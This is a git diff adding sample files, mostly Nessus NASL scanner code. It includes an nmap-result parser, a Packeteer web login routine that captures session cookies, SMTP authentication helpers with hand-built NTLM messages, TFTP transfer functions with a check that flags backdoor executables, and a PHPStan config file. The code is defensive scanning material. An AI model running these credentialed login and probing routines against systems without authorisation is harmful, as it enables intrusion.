+# Host: 127.0.0.1 ()      Ports: 111/open/tcp/bin/rpcbind (rpcbind V2)/(rpcbind:100000*2-2)/2 (rpc #100000)/, 111/open/udp//rpcbind (rpcbind V2)/(rpcbind:100000*2-2)/2 (rpc #100000)/, 113/open/tcp/root/ident //Linux-identd/, 119/open/tcp/root/nntp //Leafnode NNTPd 1.9.49.rel/, 123/open/udp//ntp ///, 137/open/udp//netbios-ns //Samba nmbd (host: CASSEROLE workgroup: MAISON)/, 138/open/udp//netbios-dgm ///, 139/open/tcp/root/netbios-ssn //Samba smbd 3.X (workgroup: MAISON)/      Ignored State: closed (194)
+
+scanned = 0; udp_scanned = 0; ident_scanned = 0;
+foreach blob(split(res, sep: ',', keep:0))
+{
+  v = eregmatch(string: blob, icase: 1, 
+  pattern: "^(Host: .*:)? *([0-9]+)/([^/]+)/([^/]+)/([^/]*)/([^/]*)/([^/]*)/([^/]*)/");
+  if (! isnull(v))
+  {
+   port = v[2];
+   status = v[3];
+   proto = v[4];
+   owner = v[5];
+   svc = v[6];
+   rpc = v[7];
+   ver = v[8];
+# display("port=", port, "\nstatus=", status, "\nproto=", proto, "\nsvc=", svc, "\nowner=", owner, "\nrpc=", rpc, "\nver=", ver, "\n\n");
+   if ("open" >< status)	# nmap 3.70 says "open|filtered" on UDP
+     scanner_add_port(proto: proto, port: port);
+    if (owner)
+    {
+      security_note(port: port, proto: proto, data: "This service is owned by user "+owner);
+      set_kb_item(name: "Ident/"+proto+"/"+port, value: owner);
+      ident_scanned ++;
+    }
+    scanned ++;
+    if (proto == "udp") udp_scanned ++;
+    if (strlen(rpc) > 1)
+    {
+      r = ereg_replace(string: rpc, pattern: "\(([^:]+):.+\)", replace: "\1");
+      if (! r) r = rpc;
+      security_note(port: port, proto: proto, 
+       data: "The RPC service "+r+" is running on this port
+If you do not use it, disable it, as it is
+a potential security risk");
+    }
+    if (ver)
+    {
+      ver = ereg_replace(pattern: "^([0-9-]+) +\((.+)\)$", string: ver,
+	replace: "\2 V\1");
+      security_note(port: port, proto: proto, data: "Nmap has identified this service as " + ver);
+      set_kb_item(name: 'Nmap/'+proto+'/'+port+'/version', value: ver);
+      if (string !~ "\?$")
+       set_kb_item(name: 'Nmap/'+proto+'/'+port+'/svc', value: svc);
+      # set_kb_item(name: "NmapSvc/"+port, value: svc);
+    }
+ }
+}
+
+v = eregmatch(string: res, pattern: 'OS: (.+)[ \t]+[A-Za-z]+:');
+if (! isnull(v))
+{
+  security_note(port: 0, data: "Nmap found that this host is running "+v[1]);
+  set_kb_item(name: "Host/OS/nmap", value: v[1]);
+}
+
+v = eregmatch(string: res, pattern: 'Seq Index: ([^\t]+)');
+if (! isnull(v))
+{
+  idx = int(v[1]);
+  if (idx == 9999999)
+  {
+    security_note(port: 0, data: "The TCP initial sequence number of the remote host look truly random. 
+Excellent!");
+    set_kb_item(name: "Host/tcp_seq", value: "random");
+   }
+  else if (idx == 0)
+  {
+    security_hole(port: 0, data: 
+"The TCP sequence numbers of the remote host are
+constant ! A cracker may use this flaw to spoof TCP connections
+easily.
+
+Solution : contact your vendor for a patch
+Risk factor : High");
+    set_kb_item(name: "Host/tcp_seq", value: "constant");
+  }
+  else if (idx == 1)
+  {
+    security_hole(port: 0, data: 
+"The TCP sequence numbers of the remote host are
+always incremented by 64000, so they can be
+guessed rather easily. A cracker may use
+this flaw to spoof TCP connections easily.
+
+Solution : contact your vendor for a patch
+Risk factor : High");
+    set_kb_item(name: "Host/tcp_seq", value: "64000");
+  }
+  else if (idx == 10)
+  {
+    security_hole(port: 0, data: 
+"The TCP sequence numbers of the remote host are
+always incremented by 800, so they can be
+guessed rather easily. A cracker may use
+this flaw to spoof TCP connections easily.
+
+Solution : contact your vendor for a patch
+Risk factor : High");
+    set_kb_item(name: "Host/tcp_seq", value: "800");
+  }
+  else if (idx < 75)
+  {
+    security_hole(port: 0, data: 
+"The TCP sequence numbers of the remote host
+depends on the time, so they can be
+guessed rather easily. A cracker may use
+this flaw to spoof TCP connections easily.
+
+Solution : http://www.microsoft.com/technet/security/bulletin/ms99-046.asp
+Risk factor : High ");
+    set_kb_item(name: "Host/tcp_seq", value: "time");
+  }
+  else
+  {
+    security_note(port: 0, data: "The TCP initial sequence number of the remote host are incremented by random positive values. 
+Good!");
+    set_kb_item(name: "Host/tcp_seq", value: "random");
+   }
+  set_kb_item(name: "Host/tcp_seq_idx", value: v[1]);
+}
+
+v = eregmatch(string: res, pattern: 'IPID Seq: ([^\t]+)');
+if (! isnull(v))
+  security_note(port: 0, data: "the IP ID sequence generation is: " + v[1]);
+
+if (scanned)
+{
+ set_kb_item(name: "Host/scanned", value: TRUE);
+ set_kb_item(name: 'Host/scanners/nmap', value: TRUE);
+}
+if (udp_scanned) set_kb_item(name: "Host/udp_scanned", value: TRUE);
+if (full_scan)
+{
+ if (ident_scanned) set_kb_item(name: "Host/ident_scanned", value: TRUE);
+ set_kb_item(name: "Host/full_scan", value: TRUE);
+}
+
+scanner_status(current: 65535, total: 65535);
\ No newline at end of file
diff --git a/samples/NASL/packeteer_web_login.nasl b/samples/NASL/packeteer_web_login.nasl
new file mode 100644
index 0000000000..c9bea7b4e1
--- /dev/null
+++ b/samples/NASL/packeteer_web_login.nasl
@@ -0,0 +1,115 @@
+# nnposter
+# GPL
+
+# Changes by Tenable:
+# - Revised plugin title (3/30/2009)
+
+if(!defined_func("MD5")) exit(0);
+
+
+include("compat.inc");
+
+if (description)
+    {
+    script_id(25570);
+    script_version ("$Revision: 1.5 $");
+    script_cvs_date("$Date: 2011/03/14 21:48:09 $");
+
+    name["english"]="Packeteer Web Management Interface Authentication";
+    script_name(english:name["english"]);
+
+ script_set_attribute(attribute:"synopsis", value:
+"It is possible to log onto the remote web application." );
+ script_set_attribute(attribute:"description", value:
+"Nessus was able to log onto the remote Packeteer web management
+interface with the given credentials and has stored the authentication
+cookie in the KB for use with other plugins." );
+ script_set_attribute(attribute:"risk_factor", value:"None" );
+ script_set_attribute(attribute:"solution", value:"n/a" );
+ script_set_attribute(attribute:"plugin_publication_date", value: "2007/06/26");
+script_set_attribute(attribute:"plugin_type", value:"remote");
+script_end_attributes();
+
+
+    summary["english"]="Logs into Packeteer web management interface";
+    script_summary(english:summary["english"]);
+
+    family["english"]="CGI abuses";
+    script_family(english:family["english"]);
+
+    script_category(ACT_GATHER_INFO);
+    script_copyright(english:"This script is Copyright (C) 2006-2011 nnposter");
+    script_dependencies("logins.nasl","packeteer_web_detect.nasl");
+    script_require_keys("www/packeteer","http/password");
+    script_require_ports("Services/www",80);
+    exit(0);
+    }
+
+# Notes:
+# - logins.nasl will not process the HTTP password preference if the HTTP 
+#   username is left blank. To compensate for this behavior this script assumes
+#   that a username tha consists of a single non-alphanumeric character is not
+#   really meant to be used.
+# - Does not work with http_keepalive_send_recv() for some reason.
+#   Resorting to http_send_recv()
+
+include("global_settings.inc");
+include("http_func.inc");
+#include("http_keepalive.inc");
+
+
+if (!get_kb_item("www/packeteer")) exit(0);
+if (!get_kb_item("http/password")) exit(0);
+
+
+function hex2str2()
+{
+local_var xlat,hs,s,i,j;
+hs=_FCT_ANON_ARGS[0];
+s="";
+for (i=0; i<256; ++i) xlat[substr(hex(i),2)]=raw_string(i);
+for (j=0; j<strlen(hs)/2; ++j) s+=xlat[substr(hs,2*j,2*j+1)];
+return s;
+}
+
+
+port=get_http_port(default:80);
+if (!get_tcp_port_state(port) || !get_kb_item("www/"+port+"/packeteer")) exit(0);
+
+#resp=http_keepalive_send_recv(port:port,data:http_get(item:"/login.htm",port:port));
+resp=http_send_recv(port:port,data:http_get(item:"/login.htm",port:port));
+if (!resp) exit(0);
+
+match=eregmatch(
+    pattern:'challenge *= *"([0-9A-Fa-f]{32})".{1,80}chapID *= *"([0-9]*)"',
+    string:resp);
+challenge=match[1];
+chapid=match[2];
+if (!challenge || !chapid) exit(0);
+
+authsrc=raw_string(int(chapid))
+    +get_kb_item("http/password")
+    +hex2str2(challenge);
+response=hexstr(MD5(authsrc));
+
+username=get_kb_item("http/login");
+if (!strlen(username) || username=~"^[^a-z0-9]$") username="";
+
+url="/Login?"
+    + "LOGIN.CHALLENGE="+challenge
+    +"&LOGIN.CHAPID="+chapid
+    +"&LOGIN.RESPONSE="+response
+    +"&LOGIN.USERNAME="+username;
+
+#resp=http_keepalive_send_recv(port:port,data:http_get(item:url,port:port));
+resp=http_send_recv(port:port,data:http_get(item:url,port:port));
+if (!resp) exit(0);
+
+cookie=egrep(pattern:"^Set-Cookie: *[^a-z0-9]PSpcV310=[0-9a-f]{32}",
+             string:resp,
+             icase:TRUE);
+if (!cookie) exit(0);
+cookie=ereg_replace(string:cookie,pattern:"^Set-",replace:"",icase:TRUE);
+
+set_kb_item(name:"/tmp/http/auth/"+port,value:cookie);
+if (report_verbosity > 1) security_note(port);
diff --git a/samples/NASL/smtp_func.inc b/samples/NASL/smtp_func.inc
new file mode 100644
index 0000000000..f75083daa4
--- /dev/null
+++ b/samples/NASL/smtp_func.inc
@@ -0,0 +1,370 @@
+
+#
+# (C) Tenable, Inc.
+#
+# This script is released under one of the Tenable Script Licenses and may not
+# be used from within scripts released under another license without the
+# authorization from Tenable, Inc.
+#
+# @NOGPL@
+#
+# smtp_func.inc
+# Revision: 1.36
+
+# You need to include global_settings.inc and misc_func.inc
+# NTLM
+
+include("http_crypto_func.inc");
+include("dump.inc");
+
+
+
+function smtp_close(socket)
+{
+  send(socket:socket, data:'QUIT\r\n');
+  smtp_recv_line(socket:socket);
+  close(socket);
+}
+
+
+function smtp_auth(socket, method, user, pass)
+{
+  local_var data, match, hmac, hash, type1, type2, type3, msg_len;
+  local_var flags, nonce, domain, hostname, user16, dom_len, user_len;
+  local_var host_len, user_off, host_off, lm_resp_off, nt_resp_off;
+  local_var cnonce, lm_resp, h, nt_resp;
+  local_var smethod;
+  local_var success;
+
+  success = false;
+
+  if ( method == 'CRAM-MD5' )
+  {
+    send(socket:socket, data:'AUTH CRAM-MD5\r\n');
+    data = smtp_recv_line(socket:socket);
+    if ( data =~ '334[- ]' )
+    {
+      match = eregmatch(string:data, pattern:"^.*334[- ](.*)$");
+      hmac = hexstr(HMAC_MD5(data:base64_decode(str:match[1]), key:pass));
+
+      hash = base64(str:strcat(user, ' ', hmac));
+      send(socket:socket, data:hash + '\r\n');
+      data = smtp_recv_line(socket:socket);
+
+      if ( data =~ '235[- ]' )
+        success = true;
+    }
+  }
+
+  if ( method == 'PLAIN' )
+  {
+    hash = base64(str:strcat('\0', user, '\0', pass));
+    send(socket:socket, data:strcat('AUTH PLAIN ', hash, '\r\n'));
+    data = smtp_recv_line(socket:socket);
+
+    if ( data =~ '235[- ]' ) 
+      success = true;
+  }
+
+  if ( method == 'LOGIN' )
+  {
+    send(socket:socket, data:'AUTH LOGIN\r\n');
+    data = smtp_recv_line(socket:socket);
+    if ( data =~ '334[- ]VXNlcm5hbWU' )
+    {
+      send(socket:socket, data:strcat(base64(str:user), '\r\n'));
+      data = smtp_recv_line(socket:socket);
+      if ( data =~ '334[- ]UGFzc3dvcmQ' )
+      {
+        send(socket:socket, data:strcat(base64(str:pass), '\r\n'));
+        data = smtp_recv_line(socket:socket);
+
+        if ( data =~ '235[- ]' )
+          success = true;
+      }
+    }
+  }
+
+  if ( method == 'NTLM' )
+  {
+    # For more details on SMTP NTLM Authentication, see
+    # http://msdn.microsoft.com/en-us/library/cc246870.aspx
+    # For more details on NTLM in general, read comments in http_request.inc
+
+    send(socket:socket, data:'AUTH NTLM\r\n');
+    data = smtp_recv_line(socket:socket);
+
+    if ( data =~ '334[- ]ntlm supported' )
+    {
+      # Build and send NTLM Type 1 message
+      type1 = strcat('NTLMSSP\x00\x01\x00\x00\x00\x07\x82\x08\x00',   
+	             '\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0' );
+      send(socket:socket, data:strcat(base64(str:type1), '\r\n'));
+      data = smtp_recv_line(socket:socket);
+
+      match = eregmatch(string:data, pattern:"^.*334[- ](.*)$");
+      if ( !isnull(match) )
+      {
+        # Make sure we have a type 2 NTLMSSP response.
+        type2 = base64_decode(str:match[1]);
+        if ( substr(type2, 0, 7) != 'NTLMSSP\0' || ord(substr(type2, 8, 8)) != 2 )
+        {
+          log_smtp("SMTP Authentication method '", method, "' failed: ", data);
+          return false;
+        }
+
+        # Capture the flags and challenge nonce.
+        msg_len = LEword(blob:type2, pos:16);
+        flags = LEword(blob:type2, pos:20);
+        nonce = substr(type2, 24, 31);
+
+        # Build the authentication response
+        domain = "";
+        hostname = this_host_name();
+        user16 = user;
+        domain = ascii2utf16LE(ascii:toupper(domain)); 
+        hostname = ascii2utf16LE(ascii:hostname);
+        user16 = ascii2utf16LE(ascii:user);
+        dom_len = strlen(domain);
+        user_len = strlen(user16);
+        host_len = strlen(hostname);
+        user_off = 64 + dom_len;
+        host_off = user_off + user_len;
+        lm_resp_off = host_off + host_len;
+        nt_resp_off = lm_resp_off + 0x18;
+        msg_len = nt_resp_off + 0x18;
+   
+        # Calculate responses
+        cnonce = _rand64();
+        lm_resp = strcat(cnonce, '\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0');
+        h = substr(MD5(strcat(nonce, cnonce)), 0, 7);
+        nt_resp = HTTP_NTLM_Response(password:ascii2utf16LE(ascii:pass), challenge:h);
+        nt_resp = nt_resp[0];
+
+        # Build Type 3 Message
+        type3 = strcat( 'NTLMSSP\0', '\x03\x00\x00\x00',
+              '\x18\x00', '\x18\x00', mkLEword(lm_resp_off), '\0\0', 
+              '\x18\x00', '\x18\x00', mkLEword(nt_resp_off), '\0\0',
+              mkLEword(dom_len), mkLEword(dom_len), 
+              '\x40\x00', '\0\0', # domain offset
+              mkLEword(user_len), mkLEword(user_len), 
+              mkLEword(user_off), '\0\0',
+              mkLEword(host_len), mkLEword(host_len), 
+              mkLEword(host_off), '\0\0',
+              '\0\0\0\0',
+              '\0\0\0\0',
+              '\x05\x82\x08\x00',
+              domain,
+              user16,
+              hostname,
+              lm_resp,
+              nt_resp );
+
+        send(socket:socket, data:strcat(base64(str:type3), '\r\n'));
+        data = smtp_recv_line(socket:socket);
+
+        if ( data =~ '235.*Authentication successful' ) 
+          success = true;
+      }
+    }
+  }
+
+  if ( !success )
+    log_smtp("SMTP Authentication method '", method, "' failed: ", data);
+
+  return success;
+}
+
+function smtp_send_socket(socket, from, to, body)
+{
+  local_var buff;
+  local_var dest;
+  local_var dests;
+  local_var timeout;
+
+  timeout = 120;
+
+  send(socket:socket, data:string("RSET\r\n"));
+  buff = smtp_recv_line(socket:socket);
+
+  # Here, we might test the return code
+  if ( from !~ ' *<.*> *' ) 
+    from = strcat('<', from, '>');
+
+  send(socket:socket, data:string("MAIL FROM: ", from, "\r\n"));
+  buff = smtp_recv_line(socket:socket);
+
+  if ( !ereg(pattern:"^2[0-9][0-9] ", string:buff) ) 
+  { 
+   log_smtp("SMTP MAIL FROM failed: ", buff);
+   return 0;
+  }
+
+  foreach dest (to)
+  {  
+    dest = dest["email"];
+    if ( dest !~ ' *<.*> *' ) 
+      dest = strcat('<', dest, '>');
+
+    send(socket:socket, data:string("RCPT TO: ", dest, "\r\n"));
+    buff = smtp_recv_line(socket:socket);
+
+    if ( !ereg(pattern:"^2[0-9][0-9] ", string:buff) ) 
+    { 
+     log_smtp("SMTP RCPT TO failed: ", buff);
+     return 0;
+    }
+  }
+
+  send(socket:socket, data:string("DATA\r\n"));
+  buff = smtp_recv_line(socket:socket);
+
+  if ( !ereg(pattern:"^3[0-9][0-9] ", string:buff) )
+  { 
+    log_smtp("SMTP DATA failed: ", buff);
+    return 0;
+  }
+
+  send(socket:socket, data:body);
+  send(socket:socket, data:string("\r\n.\r\n"));
+  buff = smtp_recv_line(socket:socket);
+
+  if ( !ereg(pattern:"^2[0-9][0-9] ", string:buff) )
+  { 
+    log_smtp("SMTP DATA data failed: ", buff);
+    return 0;
+  }
+
+  return 1;
+}
+
+
+function smtp_recv_line(socket, code, retry, last)
+{
+  local_var timeout;
+  local_var ret, n, r, pat;
+ 
+  timeout = 120;
+
+  if ( isnull(code) )
+    pat = "^[0-9][0-9][0-9]-";
+  else
+    pat = strcat("^", code, "-");
+
+  ret = "";
+  r = recv_line(socket:socket, length:4096, timeout:timeout);
+  #
+  n = 0;
+  while ( !r && n ++ < retry )
+    r = recv_line(socket:socket, length:4096, timeout:timeout);
+  #
+  n = 0;
+  ret = r;
+  if ( strlen(r) < 4 )
+  { 
+    log_smtp(debug:true, "smtp_recv_line: ", r);
+    return r;
+  }
+
+  while ( ereg(pattern:pat, string:r) )
+  {
+    n = n + 1;
+    r = recv_line(socket:socket, length:4096, timeout:timeout);
+    if ( strlen(r) == 0 ) 
+      break;
+
+    if ( n > 512 )
+      return NULL;
+
+    if ( last ) 
+      ret = r;
+    else
+      ret = strcat(ret, r);
+  }
+
+  log_smtp(debug:true, "smtp_recv_line: ", ret);
+  return ret;
+}
+
+
+function smtp_recv_banner(socket)
+{
+  local_var b;
+
+  b = smtp_recv_line(socket:socket, code:"220");
+
+  return b;
+}
+
+
+#----------------------------------------------------------------#
+# Function    : smtp_starttls                                    #
+# Description : Sends a STARTTLS command to an open socket.      #
+# Inputs      : 'socket' => an open socket. (required)           #
+#               'dont_read_banner' => read the initial service   #
+#                 banner unless set to true. (optional)          #
+#               'encaps' => if specified, complete the SSL       #
+#                 handshake using the type of encapsulation      #
+#                 specified by 'encaps'. (optional)              #
+#               'exit_on_fail' => if specified, exit on a        #
+#                 failure rather than returning NULL.            #
+# Return      : The socket if the connection could be upgraded   #
+#               or NULL otherwise.                               #
+# Notes       : Attempting to complete the SSL handshake will    #
+#               always result in a failure if the function       #
+#               'socket_negotiate_ssl()' is not defined.         #
+# Usage       : if (smtp_starttls(socket:soc, encaps:encaps))    #
+#               {                                                #
+#                 send(socket:soc, data:...                      #
+#----------------------------------------------------------------#
+function smtp_starttls(socket, dont_read_banner, encaps, exit_on_fail)
+{
+  local_var data;
+
+  if ( !dont_read_banner )
+  {
+    data = smtp_recv_banner(socket:socket);
+    if ( !data )
+    {
+      log_smtp('SMTP receive banner failed');
+      return NULL;
+    }
+
+    send(socket:socket, data:'HELO '+this_host()+'\r\n');
+    data = smtp_recv_line(socket:socket);
+    if(!ereg(pattern:"^[2-3][0-9][0-9]", string:data))
+    {
+      log_smtp("SMTP HELO failed: ", data);
+      return NULL;
+    }
+  }
+
+  send(socket:socket, data:'STARTTLS\r\n');
+  data = smtp_recv_line(socket:socket);
+  if ( strlen(data) < 4 ) 
+  {
+    log_smtp("The SMTP server did not send back a valid response to a STARTTLS command.");
+    return NULL;
+  }
+
+  if ( substr(data, 0, 2) != "220" ) 
+  {
+    log_smtp("SMTP STARTTLS failed: ", data);
+    return NULL;
+  }
+
+  if ( encaps )
+  {
+    if ( !defined_func("socket_negotiate_ssl") ) 
+    {
+      log_smtp("Failed to negotiate an SSL / TLS connection after sending a STARTTLS command.");
+      return NULL;
+    }
+
+    return socket_negotiate_ssl(socket:socket, transport:encaps);
+  }
+
+  return socket;
+}
+
+
diff --git a/samples/NASL/tftp_func.inc b/samples/NASL/tftp_func.inc
new file mode 100644
index 0000000000..9391d5eed5
--- /dev/null
+++ b/samples/NASL/tftp_func.inc
@@ -0,0 +1,234 @@
+#
+# This NASL script was written by Martin O'Neal of Corsaire 
+# (http://www.corsaire.com)
+# 
+# The script provides basic tftp functionality for use in other scripts...
+#
+# DISCLAIMER
+# The information contained within this script is supplied "as-is" with 
+# no warranties or guarantees of fitness of use or otherwise. Corsaire 
+# accepts no responsibility for any damage caused by the use or misuse of 
+# this information.
+#
+# GPLv2
+# 
+# Some code was added by Michel Arboi <mikhail@nessus.org>
+# Also Ron Bowes <rbowes@tenable.com> cleaned up the code in tftp_get and
+# tftp_put and added support for an optional 'data' parameter in the later.
+#
+# v1.2
+
+TFTP_RRQ        = 1;
+TFTP_WRQ        = 2;
+TFTP_DATA       = 3;
+TFTP_ACK        = 4;
+TFTP_ERROR      = 5;
+TFTP_OACK       = 6;
+TFTP_BLOCK_SIZE = 1024; # Use 1024 to stay under the max ip size
+
+##
+# Download a file from a remote TFTP server. 
+#
+# @param port The port number, probably 69.
+# @param path The path of the file to download.
+#
+# @return The file, as a string.
+##
+function tftp_get(port, path)
+{
+  local_var s, dport, sport, block, block_num, block_size, file, response, code, error, message, option;
+
+  set_byte_order(BYTE_ORDER_BIG_ENDIAN);
+
+  # Create a non-connected udp port
+  s = bind_sock_udp();
+  if(!s)
+    exit(1, "failed to bind socket");
+
+  # Get the socket and target port from the return
+  sport = s[1];
+  s     = s[0];
+
+  # Send the initial request, including our desired blocksize, to port 69
+  sendto(socket:s, data:mkword(TFTP_RRQ) + path + '\x00octet\x00BLKSIZE\0' + TFTP_BLOCK_SIZE + '\0', dst:get_host_ip(), port:port);
+
+  # Default to TFTP's default blocksize till it acknowledges our request
+  # This is less than the BLOCK_SIZE constant on purpose - we don't assume
+  # the server figured out the proper BLOCK_SIZE till we're done. 
+  block_size = 512;
+  file = '';
+  while(TRUE)
+  {
+    # Get the response on a potentially different port
+    response = recvfrom(socket:s, port:sport, src:get_host_ip(), timeout:30);
+    if(!response)
+      exit(1, "Failed to receive data from the TFTP server");
+    dport    = response[2];
+    response = response[0];
+
+    # Read the code and remove it from the front of the packet
+    code     = getword(blob:response, pos:0);
+    response = substr(response, 2);
+
+    # Take the appropriate action based on the code
+    if(code == TFTP_DATA)
+    {
+      block_num = getword(blob:response, pos:0);
+      block = substr(response, 2);
+      
+      file = file + block;
+
+      # Send the acknowledgement
+      sendto(socket:s, data:mkword(TFTP_ACK) + mkword(block_num), dst:get_host_ip(), port:dport);
+
+      # When we get an incomplete block, we're finished reading - this needs
+      # to be after the ACK
+      if(strlen(block) != TFTP_BLOCK_SIZE)
+        break;
+    }
+    else if(code == TFTP_ERROR)
+    {
+      error = getword(blob:response, pos:0);
+      message = substr(response, 2);
+
+      exit(1, "TFTP Error: " + message);
+    }
+    else if(code == TFTP_OACK)
+    {
+      option = split(substr(response, 2), sep:'\0', keep:FALSE);
+      if(option[0] = 'BLKSIZE')
+        block_size = int(option[1]);
+      sendto(socket:s, data:mkword(TFTP_ACK) + mkword(0), dst:get_host_ip(), port:dport);
+    }
+    else
+    {
+      exit(1, "Unexpected response code from TFTP server: " + code);
+    }
+  }
+
+  return file;
+}
+
+##
+# Upload a file to a remote TFTP server. 
+#
+# @param port The port number, probably 69.
+# @param path The path where the file will be put.
+# @param data The file data.
+##
+function tftp_put(port, path, data)
+{
+  local_var s, dport, sport, block, block_num, block_size, file, response, code, error, message, option;
+
+  set_byte_order(BYTE_ORDER_BIG_ENDIAN);
+
+  # Create a non-connected udp port
+  s = bind_sock_udp();
+  if(!s)
+    exit(1, "failed to bind socket");
+
+  # Get the socket and target port from the return
+  sport = s[1];
+  s     = s[0];
+
+  # Send the initial request, including our desired blocksize, to port 69
+  sendto(socket:s, data:mkword(TFTP_WRQ) + path + '\x00octet\x00', dst:get_host_ip(), port:port);
+
+  # Default to TFTP's default blocksize till it acknowledges our request
+  # This is less than the BLOCK_SIZE constant on purpose - we don't assume
+  # the server figured out the proper BLOCK_SIZE till we're done. 
+  block_size = 512;
+  file = '';
+  while(TRUE)
+  {
+    # Get the response on a potentially different port
+    response = recvfrom(socket:s, port:sport, src:get_host_ip(), timeout:30);
+    if(!response)
+      exit(1, "Failed to receive data from the TFTP server");
+    dport    = response[2];
+    response = response[0];
+
+    # Read the code and remove it from the front of the packet
+    code     = getword(blob:response, pos:0);
+    response = substr(response, 2);
+
+    # Take the appropriate action based on the code
+    if(code == TFTP_ACK)
+    {
+      # Send the next block
+      block_num = getword(blob:response, pos:0);
+
+      if(block_num * block_size > strlen(data))
+        break;
+
+      sendto(socket:s, data:mkword(TFTP_DATA) + mkword(block_num + 1) + substr(data, block_size * block_num, (block_size * block_num) + block_size - 1), dst:get_host_ip(), port:dport);
+    }
+    else if(code == TFTP_ERROR)
+    {
+      error = getword(blob:response, pos:0);
+      message = substr(response, 2);
+
+      exit(1, "TFTP Error: " + message);
+    }
+    else
+    {
+      exit(1, "Unexpected response code from TFTP server: " + code);
+    }
+  }
+}
+
+#### Functions added by Michel Arboi <mikhail@nessus.org> ####
+
+# The 1st function is necessary as TFTP is UDP based and not 100% reliable
+# All TFTP scripts should call it to test returned data & avoid false alerts
+function tftp_ms_backdoor(data, port, file)
+{
+ if (strlen(data) > 40 && substr(data, 0, 1) == 'MZ')
+   if ('\x50\x45\x00\x00' >< data )
+     report_tftp_backdoor(port: port, file: file, type: 'MS PE', data: data);
+   else if ('This program cannot be run in DOS mode' >< data ||
+   	    'This program must be run under Win32' >< data)
+     report_tftp_backdoor(port: port, file: file, type: 'MS', data: data);
+}
+
+function report_tftp_backdoor(port, file, type, data)
+{
+ local_var	a, c, k;
+
+ c = tolower(type[0]);
+ if (c == 'm' || c == 'a' || c == 'e' || c == 'x') a = 'an '; else a = 'a ';
+
+ security_hole(port: port, proto: 'udp', data: 
+'
+Synopsis :
+
+The remote host has probably been compromised. 
+
+Description :
+
+A TFTP server is running on this port. However, while trying to 
+fetch "'+ file + '", we got '+ a + type + ' executable file. 
+
+Many worms are known to propagate through TFTP.  This is probably a
+backdoor. 
+
+Solution : 
+
+Disinfect / reinstall the system.
+
+Risk factor :
+
+Critical / CVSS Base Score : 10.0
+(CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C)');
+ if (port == 69)
+  set_kb_item(name: 'tftp/backdoor', value: TRUE);
+ set_kb_item(name: 'tftp/'+port+'/backdoor', value: TRUE);
+
+ if (strlen(data) > 0 )
+ {
+   k = '/tmp/antivirus/UDP/'+port;
+   if (! get_kb_item(k)) set_kb_item(name: k, value: hexstr(data));
+ }
+ exit(0);
+}
+
diff --git a/samples/NEON/config.neon b/samples/NEON/config.neon
new file mode 100644
index 0000000000..09bfe78e92
--- /dev/null
+++ b/samples/NEON/config.neon
@@ -0,0 +1,516 @@
+parameters:
+	bootstrap: null
+	excludes_analyse: []
+	autoload_directories: []
+	autoload_files: []
+	level: null
+	paths: []
+	featureToggles:
+		disableRobotLoader: false
+		staticReflectionForPhpParser: true
+		disableRuntimeReflectionProvider: false
+		enableScanningPaths: false
+		closureUsesThis: false
+		randomIntParameters: false
+		nullCoalesce: false
+	fileExtensions:
+		- php
+	checkAlwaysTrueCheckTypeFunctionCall: false
+	checkAlwaysTrueInstanceof: false
+	checkAlwaysTrueStrictComparison: false
+	checkClassCaseSensitivity: false
+	checkFunctionArgumentTypes: false
+	checkFunctionNameCase: false
+	checkGenericClassInNonGenericObjectType: false
+	checkMissingIterableValueType: false
+	checkMissingVarTagTypehint: false
+	checkArgumentsPassedByReference: false
+	checkMaybeUndefinedVariables: false
+	checkNullables: false
+	checkThisOnly: true
+	checkUnionTypes: false
+	checkExplicitMixedMissingReturn: false
+	checkPhpDocMissingReturn: false
+	checkExtraArguments: false
+	checkMissingClosureNativeReturnTypehintRule: false
+	checkMissingTypehints: false
+	checkTooWideReturnTypesInProtectedAndPublicMethods: false
+	inferPrivatePropertyTypeFromConstructor: false
+	reportMaybes: false
+	reportMaybesInMethodSignatures: false
+	reportStaticMethodSignatures: false
+	mixinExcludeClasses: []
+	parallel:
+		jobSize: 20
+		processTimeout: 60.0
+		maximumNumberOfProcesses: 32
+		minimumNumberOfJobsPerProcess: 2
+		buffer: 134217728 # 128 MB
+	polluteScopeWithLoopInitialAssignments: true
+	polluteScopeWithAlwaysIterableForeach: true
+	polluteCatchScopeWithTryAssignments: false
+	treatPhpDocTypesAsCertain: true
+	tipsOfTheDay: true
+	reportMagicMethods: false
+	reportMagicProperties: false
+	ignoreErrors: []
+	internalErrorsCountLimit: 50
+	cache:
+		nodesByFileCountMax: 512
+		nodesByStringCountMax: 512
+	reportUnmatchedIgnoredErrors: true
+	scopeClass: PHPStan\Analyser\MutatingScope
+	typeAliases:
+		scalar: 'int|float|string|bool'
+		number: 'int|float'
+	universalObjectCratesClasses:
+		- stdClass
+	stubFiles:
+		- ../stubs/ReflectionClass.stub
+		- ../stubs/iterable.stub
+		- ../stubs/ArrayObject.stub
+		- ../stubs/WeakReference.stub
+		- ../stubs/ext-ds.stub
+		- ../stubs/PDOStatement.stub
+	earlyTerminatingMethodCalls: []
+	earlyTerminatingFunctionCalls: []
+	memoryLimitFile: %tmpDir%/.memory_limit
+	staticReflectionClassNamePatterns:
+		- '#^PhpParser\\#'
+		- '#^PHPStan\\#'
+		- '#^Hoa\\#'
+		- '#^DateTime(?:Interface|Immutable)?$#'
+		- '#^Soap(?:Client|Var|Server|Fault|Param|Header)$#'
+	dynamicConstantNames:
+		- ICONV_IMPL
+		- LIBXML_VERSION
+		- LIBXML_DOTTED_VERSION
+		- PHP_VERSION
+		- PHP_MAJOR_VERSION
+		- PHP_MINOR_VERSION
+		- PHP_RELEASE_VERSION
+		- PHP_VERSION_ID
+		- PHP_EXTRA_VERSION
+		- PHP_ZTS
+		- PHP_DEBUG
+		- PHP_MAXPATHLEN
+		- PHP_OS
+		- PHP_OS_FAMILY
+		- PHP_SAPI
+		- PHP_EOL
+		- PHP_INT_MAX
+		- PHP_INT_MIN
+		- PHP_INT_SIZE
+		- PHP_FLOAT_DIG
+		- PHP_FLOAT_EPSILON
+		- PHP_FLOAT_MIN
+		- PHP_FLOAT_MAX
+		- DEFAULT_INCLUDE_PATH
+		- PEAR_INSTALL_DIR
+		- PEAR_EXTENSION_DIR
+		- PHP_EXTENSION_DIR
+		- PHP_PREFIX
+		- PHP_BINDIR
+		- PHP_BINARY
+		- PHP_MANDIR
+		- PHP_LIBDIR
+		- PHP_DATADIR
+		- PHP_SYSCONFDIR
+		- PHP_LOCALSTATEDIR
+		- PHP_CONFIG_FILE_PATH
